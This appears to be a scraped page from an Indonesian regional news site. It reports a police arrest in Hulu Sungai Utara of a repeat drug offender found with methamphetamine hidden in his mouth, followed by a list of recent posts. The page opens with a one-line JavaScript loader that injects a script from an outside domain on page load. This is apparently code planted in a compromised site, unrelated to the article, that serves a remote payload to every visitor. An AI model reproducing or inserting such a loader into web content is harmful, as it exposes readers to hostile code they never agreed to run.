(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Sempat Simpan Sabu Dalam Mulut, MS Kembali Ulangi Kasus Tahun 2016


KANALKALIMANTAN.COM, AMUNTAI – Satuan Resnarkoba Polres Hulu Sungai Utara (HSU) membekuk pria berinisial MS (32) yang kedapatan menyimpan sabu dengan berat mencapai kotor 0,88 gram atau berat bersih 0,12 gram.

MS, warga Desa Kaludan Besar RT 006 Kecamatan Banjang, dibekuk petugas Minggu (28/2/2021) sekira pukul 22.20 Wita, saat berada sebuah rumah Jalan Jermani Husin RT.001 Desa Beringin, Kecamatan Banjang.

“Sabu ditemukan di dalam mulut pelaku, pada saat penangkapan melakukan perlawanan dan ada keinginan untuk menghilangkan barang bukti sabu tersebut,” ujar Kapolres HSU AKBP Afri Darmawan, melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Senin (1/2/2021)

Menurut Kasat Resnarkoba Iptu Siswadi saat menangkap pelaku MS, pihaknya sedang menggelar program HSU Bersinar Hebat Sigap Untuk bersih dari Narkoba dengan ungkap jenis sabu.

Usai menemukan barang bukti tersebut, pihaknya lantas melakukan pengembangan dan melakukan penggeledahan ke rumah pelaku MS yang berada di Desa Kaludan Besar Rt.006 Kecamatan Banjang dengan disaksikan Kepala Desa setempat.

Alhasil ditemukan beberapa barang bukti lain seperti buah kotak rokok yang berisikan sabu dengan berat kotor 1,94 gram dengan berat bersih 1,56 gram yang diselipkan di dalam sebuah sepatu sendal berwarna coklat.

Ditambah barang bukti lain seperti sebuah bong dari botol kaca yang tersambung dengan 2 buah sedotan, 1 buah pipet kaca, dan buah handphone milik pelaku

Atas kejadian tersebut pelaku MS bersama barang bukti digelandang ke Mapolres HSU guna proses penyidikan lebih lanjut.

Menurut Siswadi, pelaku MS merupakan residivis kasus serupa di tahun 2016 silam, untuk itu pihaknya terus menelusuri asal-usul barang haram tersebut.

“Terduga MS pernah di tahan 2016, vonis 1 tahun,” imbuhnya.

Pelaku dapat kembali dijerat pasal 114 ayat 1 atau 112 ayat 1 UU RI No.35 Tahun 2009, tentang narkotika.(kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.